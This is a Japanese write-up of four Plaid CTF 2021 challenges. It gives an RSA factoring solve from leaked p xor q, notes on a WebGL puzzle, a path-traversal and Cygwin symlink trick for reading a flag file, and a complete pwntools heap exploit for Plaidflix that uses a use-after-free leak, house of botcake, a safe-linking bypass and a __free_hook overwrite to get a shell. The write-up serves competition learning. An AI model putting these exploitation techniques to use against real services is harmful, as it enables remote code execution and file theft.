# Plaid CTF 2021 Writeup
Plaid CTF 2021 にチーム urchin として参加して 78th でした。 xorsa、The Watness III の2問を他のメンバーと解きました。また CTF 終了後に Pearl's U-Stor, Plaidflix を解きました。
## xorsa
```python
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from secret import p,q
x = 16158503035655503426113161923582139215996816729841729510388257123879913978158886398099119284865182008994209960822918533986492024494600106348146394391522057566608094710459034761239411826561975763233251722937911293380163746384471886598967490683174505277425790076708816190844068727460135370229854070720638780344789626637927699732624476246512446229279134683464388038627051524453190148083707025054101132463059634405171130015990728153311556498299145863647112326468089494225289395728401221863674961839497514512905495012562702779156196970731085339939466059770413224786385677222902726546438487688076765303358036256878804074494
assert p^^q == x
n = p*q
e = 65537
d = inverse_mod(e, (p-1)*(q-1))
n = int(n)
e = int(e)
d = int(d)
p = int(p)
q = int(q)
flag = open("flag.txt","rb").read().strip()
key = RSA.construct((n,e,d,p,q))
cipher = PKCS1_OAEP.new(key)
ciphertext = cipher.encrypt(flag)
open("flag.enc","wb").write(ciphertext)
open("private.pem","wb").write(key.exportKey())
open("public.pem","wb").write(key.publickey().exportKey())
```
公開鍵に加えて p と q の xor した値 (=x) も公開されます。x のバイナリ表現を見るとほとんど1で0はわずかなことがわかります。
```
> bin(x)
'0b1111111111111111111111111111111111111111111111111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110111111111111111111111111111111111111111111111101111111111111111111111111111111111111111111111111111111111111111111111111111111110111111111111111111111111111111111111111111111111111111111111111111111111111111111111110111111111111111111111111011111111111111111111111111111111111111111111111111111111110111111111111111111111111111111111111111110111111111111111111111111111111111111101111111111111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111110'
> c
```
あり得る `p+q` の値を全列挙することを考えます。`v[i]` で `v` の下から `i` 番目のビットとします。`(p+q)[i]` に加えて
`c[i]`: `p+q` を実行したときの下からi番目のビットへのキャリーもi=0 から順に列挙します。
- `(p^q)[i] = 0` のとき
`p=q=0` のときは `(p+q)[i] = c[i]`, `c[i] = 0`
`p=q=1` のときは `(p+q)[i] = c[i]`, `c[i] = 1` の2通り。
- `(p^q)[i] = 1` のとき
このとき `(p+q)[i] = c[i-1]`, `c[i] = ~c[i-1]` の1通り。
つまり候補の数は `(p^q)[i]=0` となるビットの個数 `n` に対して $2^n$ 個になります。`p+q` が全列挙できたら `pq=n` は既知なので2次方程式の解と係数の関係を使うことで `p`, `q` が求まります。
```python
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import sympy
import sys
sys.setrecursionlimit(5000)
from crypto_commons.rsa.rsa_commons import *
import tqdm
from pathlib import Path
from sympy.ntheory.primetest import is_square
import os
if 'TEST' not in os.environ:
with open("dist/public.pem") as f:
pubkey = RSA.importKey(f.read())
open("pubkey.dict", 'w').write(str({"n": pubkey.n, "e":pubkey.e}))
x = 16158503035655503426113161923582139215996816729841729510388257123879913978158886398099119284865182008994209960822918533986492024494600106348146394391522057566608094710459034761239411826561975763233251722937911293380163746384471886598967490683174505277425790076708816190844068727460135370229854070720638780344789626637927699732624476246512446229279134683464388038627051524453190148083707025054101132463059634405171130015990728153311556498299145863647112326468089494225289395728401221863674961839497514512905495012562702779156196970731085339939466059770413224786385677222902726546438487688076765303358036256878804074494
n = pubkey.n
e = pubkey.e
else:
with open('test/keys.txt') as f:
d = eval(f.read())
x = d['x']
n = d['n']
e = d['n']
with open("dist/flag.enc", "rb") as f:
flag = f.read()
def generate_candidates_of_sum(i, carry=0, space=0):
if i == 2050:
return [0]
elif (x >> i) & 1 == 1:
# pi ^ qi == 1 => (p+q)i = !carry(i), carry(i+1) = carry(i)
ss = generate_candidates_of_sum(i + 1, carry, space)
return [(s << 1) + (1-carry) for s in ss]
else:
# pattern 1: pi == qi == 0
# (p+q)i == carry(i), carry(i+1) = 0
ss1 = generate_candidates_of_sum(i + 1, 0, space+1)
ss1 = [(s << 1) + carry for s in ss1]
# pattern 1: pi == qi == 1
# (p+q)i == carry(i), carry(i+1) = 1
ss2 = generate_candidates_of_sum(i + 1, 1, space+1)
ss2 = [(s << 1) + carry for s in ss2]
return ss1 + ss2
ss = None
if Path('ss.txt').exists():
with open('ss.txt', 'r') as f:
ss = eval(f.read().strip())
else:
ss = generate_candidates_of_sum(0)
with open('ss.txt', 'w') as f:
f.write(str(ss))
x = sympy.Symbol('x')
for s in tqdm.tqdm(ss):
if is_square(s * s - 4 * n):
pq = sympy.solve(x * x - s * x + n)
p,q = pq
p,q = int(p), int(q)
d = modinv(e, (p-1)*(q-1))
key = RSA.construct((n,e,d,p,q))
cipher = PKCS1_OAEP.new(key)
flag = cipher.decrypt(flag)
print(flag)
```
全列挙の終了条件は `p`, `q` の上位ビットが等しいことで `p^q` の上位ビットが `0` になることがあるので適当に 2050 桁としました。
フラグ: PCTF{who_needs_xor_when_you_can_add_and_subtract}
## The Watness III
(TODO: 後で詳しく書く)
WebGL で作った 3D canvas 上で、2次元上の格子を移動するゲームが与えられます。ゲームは難読化された GLSL で実装されていました。
ゲームの終了条件が GLSL 上の関数で実装されているため、それを読み解いて終了条件を満たすように盤面を移動することで解けます。
最後のステージはプレイ中に盤面を見ることができないため、予め Python で解いておいて、結果の座標を設定するボタンを作ることでクリアしました。
フラグ: pctf{ok_but_this_is_the_last_one_i_promise_T__T}
## Pearl's U-Stor
コンテスト中には解けず、終了後に discord の writeup を参考に確認しました。
ファイルアップローダのようなアプリが与えられるようです。GET で自分がアップロードしたファイルの一覧、POST でファイルのアップロードができます。また一覧のファイル名のリンクにアクセスするとファイルがダウンロードできます。
cookie `id` に入った文字列が `/tmp` 下のディレクトリ名になり、アップロードしたファイルはそこに格納されます。`cookie` に `../` を指定すると素直に `/` を指してくれるので、色々眺めてみると、
- このアプリは cygwin 上で動いている
- フラグは Windows 側の `/cygdrive/c/flag.txt` にある
ことが分かりました。本番でできたのはここまでで、なんとか `flag.txt` をダウンロードできないかと試してみたのですが、ダウンロード時には cookie は `sacure_filename` によって `..` が変換されてしまうのでアクセスできないようでした。
コンテスト後に discord を見たところ手元の cygwin で `CYGWIN=winsymlinks:lnk ln -sf /cygdrive/c/flag.txt flag` を実行して windows の `lnk` ファイルを作成し、それをアップロードすれば解けるようです。なるほど…。
## Plaidflix
コンテスト後に解きました。
plaidflix というサービスが与えられ、以下の操作ができます。
- 映画の登録
- 映画の削除
- 友達の登録
- 友達の削除
- 映画を友達にシェア
- フィードバックの登録
- フィードバックの削除
- 連絡先情報の登録
最後の3つはアカウントの削除を選択すると選ぶことができ、一度アカウントの削除を選ぶと最初の5つの機能は使えなくなります。
映画はタイトル、評価、シェア先の友達の有無、シェア先の友達の4つのフィールドをもつ構造体で、友達、フィードバックは文字列ですべてグローバル配列で管理されます。
映画のタイトルは `malloc(0x20)`, フィードバックは `malloc(0x100)`, 連絡先情報は `malloc(0x120)` で確保されます。友達の名前は指定した長さで確保できますが、`0x90` 以上だとエラーになり、`0x30` 以下だと `0x30` に切り上げられます。
実行環境は Dockerfile で配布されるのですが、ホストからリモートデバッグするために以下のように書き換えました
```dockerfile
# how to use:
# docker build -t plaidflix .
# docker run --rm -p 9001:1337 plaidflix:latest
# nc 127.0.0.1 9001
FROM ubuntu:20.10
-RUN apt-get update && apt-get install -y socat
+RUN apt-get update && apt-get install -y socat gdb gdbserver
RUN adduser --no-create-home --disabled-password --gecos "" ctf
WORKDIR /home/ctf
COPY --chown=root:ctf bin/plaidflix bin/flag.txt ./
RUN chmod 2750 plaidflix && \
chmod 0640 flag.txt
USER ctf
-CMD ["socat", "tcp-listen:1337,fork,reuseaddr", "exec:./plaidflix"]
+CMD ["socat", "tcp-listen:1337,fork,reuseaddr", "system:gdbserver localhost\\:8888 ./plaidflix"]
EXPOSE 1337
```
脆弱性は2つで
- 友達を削除すると友達の名前は `free` されるが、シェアした映画からは参照できる (UAF)
- 1度削除したフィードバックを何度も削除できる (double free)
があります。
libc のアドレスリークは
1. tcache@0x90 を埋める
2. `malloc(0x80); free` で unsorted bin に確保
3. `malloc(0x90)` して 2 のチャンクを smallbin に移動
4. UAF でチャンクの fd から malloc_arena のアドレスリーク
という手順で行いました。また、後述の通り heap のアドレスも使うため tcache に 2つのチャンクをつなげて UAF することで取得しました。
Double free の exploit が分からなかったので [解題 pwnable](https://www.amazon.co.jp/dp/B08Q3JKBR3/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1) を読むと、基本的には
- チャンク P を2回 free して head -> P -> P -> ... という構造を作る
- malloc で P を取得、fd を任意のアドレス A に書き換えることで head -> P -> A とする
- malloc が A を返すようになる
という流れで行うようです。しかし tcache には double free を検知するための仕組みとして、tcache につながったチャンクの bk (key) に tcache そのもののアドレスを書き込み、key に tcache のアドレスが書き込まれたチャンクが free されてきたら tcache 内に同じチャンクが無いか確認しあった場合は落とす migration が実装されているらしく、単純にはうまくいかなそうです。
そこで [how2heap](https://github.com/shellphish/how2heap/) を眺めていると、[house of botcake](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c) というバイパスが使えそうなことが分かりました。
house of botcake は同じ tcache に `victim` を free つなげるのではなく、その直前のチャンク`prev` を一緒に free することで1つは unsorted bin につなげます。その後 unsorted bin から `victim` に書き込み可能なくらい大きなサイズを確保し、`victim` の `fd` を書き換えることで任意のアドレスを tcache につなげます。
あとは実装するだけだと思って実装してみたのですが、書き込んだアドレスがおかしな値になってうまくいきませんでした。gdb でチャンクの `fd` のアドレスを見たところ何やらでたらめな値が入っていました。調べてみるとこれは glibc 2.32 から実装された safe linking という機構によるものらしく、fastbin と tcache のリンクには本来のアドレスと「チャンク自身の fd のアドレスを 12bit 右シフトしたもの」の xor が入るようです。そのため、正しく `fd` を設定するには `fd` 自身のアドレスを知る必要がありヒープアドレスのリークが必要ですが、`fd` から leak した値は xor されているため本来の値は分かりません。
しかし [【pwn 32.0】glibc2.32 Safe-Linking とその Bypass の概観](https://smallkirby.hatenablog.com/entry/safeunlinking) にあるように、チャンク自身とそれが指す先が同じページ (2^12 境界) に収まる場合には容易に復元できるので、アドレスのリークができる場合はそれほど強い migration では無いようです。
leak した libc から書き換えたい `fd` のアドレスは分かるので、あとは 12bitシフトして `__free_hook` と xor を取って書き込み、`system` に書き換えれば解けました。
(本番環境で実行してみると数回に1回しか成功しなかったのですが、アドレスに改行が含まれてしまったのかな…?)
```python
from pwn import *
if 'LOGLEVEL' in os.environ:
context.log_level = os.environ['LOGLEVEL']
context.terminal=['tmux', 'splitw', '-h']
if 'REMOTE' in os.environ:
p = remote('plaidflix.pwni.ng', 1337)
else:
p = remote('localhost', 9001)
exe='./bin/plaidflix'
sleep(1)
if 'DEBUG' in os.environ:
sleep(1)
gdb.attach(target=('localhost', 8888), gdbscript='file ./bin/plaidflix', exe=exe)
libc = ELF('./libc.so.6')
def send(payload):
p.sendlineafter('>', payload)
def add_movie(name):
send('0')
send('0')
send(name)
send('3')
def remove_movie(n):
send('0')
send('1')
send(str(n))
def show_movies(n, has_share):
send('0')
send('2')
res = []
for i in range(n):
p.recvuntil('Title: ')
title = p.recvline()
p.recvuntil('Rating: ')
rate = p.recvline()
friend = None
if has_share[i]:
p.recvuntil('Shared with: ')
friend = p.recvline()
res.append((title, rate, friend))
return res
def share_movie(movie_idx, friend_idx):
send('0')
send('3')
send(str(movie_idx))
send(str(friend_idx))
def add_friend(name_len, name):
send('1')
send('0')
send(str(name_len))
send(name)
def remove_friend(idx):
send('1')
send('1')
send(str(idx))
def show_friends(n_friends):
lines = []
for _ in range(n_friends):
p.recvuntil('* ')
lines.append(p.recvline())
return lines
def delete_account():
send('2')
send('y')
def add_feedback(feedback):
send('0')
send(feedback)
def delete_feedback(idx):
send('1')
send(str(idx))
def submit_feedback(contact):
send('2')
send(contact)
def solve():
send('NAME')
# leak heap base
add_movie('M' * 0x20)
add_friend(0x29, 'F' * 0x30)
add_friend(0x29, 'F' * 0x30)
share_movie(0, 1)
remove_friend(0)
remove_friend(1)
(_, _, heap_leak), = show_movies(1, [True])
heap_leak = u64(heap_leak.strip().ljust(8, b'\x00'))
debug(f'heap leak: {heap_leak:#08x}')
remove_movie(0)
## Compute heap address
ptr = 0
mask = 0x000
# heap_leak should be (pos >> 12) ^ ptr
# Assume pos & ptr is same page, it only differs in least 12 bit
for i in range(4):
ptr = (heap_leak ^ mask) >> (12 * (3 - i)) << (12 * (3 - i))
mask = ptr >> 12
debug(f'ptr, mask: {ptr:#08x}, {mask:#08x}')
heap_base = ptr - 0x320
debug(f'heap base: {heap_base:#08x}')
# leak libc addr
add_movie('M' * 0x20)
add_friend(0x7F, 'F' * 0x80)
share_movie(0, 0)
## Fill tcache@0x90
for i in range(7):
add_friend(0x7F, 'F' * 0x70)
for i in range(7):
remove_friend(i + 1)
# The freed chunk will be stored at unsorted bin
remove_friend(0)
# Move the above chunk to smallbin by requiring a chunk with the size 0xa0
add_friend(0x8F, 'X' * 0x8F)
(_, _, unsorted_bin), = show_movies(1, [True])
libc_base = u64(unsorted_bin[:8].strip().ljust(8, b'\x00')) - 0x1e3c80
debug(f'libc base: {libc_base:#08x}')
libc.address = libc_base
# Go to feedback
delete_account()
# House of botcake
# Prev & Victim
add_feedback('P' * 0x100)
add_feedback('V' * 0x100)
# Fill tcache@0x110
for i in range(7):
add_feedback('E' * 0x100)
for i in range(7):
delete_feedback(i + 2)
# Free prev & victim
delete_feedback(0)
delete_feedback(1)
# Here, unsortedbin has a large consolidated chunk
# Put victim to tcache@0x110
add_feedback('E' * 0x100)
delete_feedback(1)
mask = (heap_base + 0xab0) >> 12
# Get a chunk from large consolidated chunk, the last 0x10 bytes is fd/bk of victim
debug(f'__free_hook: {libc.symbols.__free_hook:#08x}')
submit_feedback(b'E' * 0x110 + p64(libc.symbols.__free_hook ^ mask) + b'E' * 0x8)
add_feedback('/bin/sh')
add_feedback(p64(libc.symbols.system))
delete_feedback(1)
p.interactive()
if __name__ == '__main__':
solve()
```
Sign in with Wallet
Connect another wallet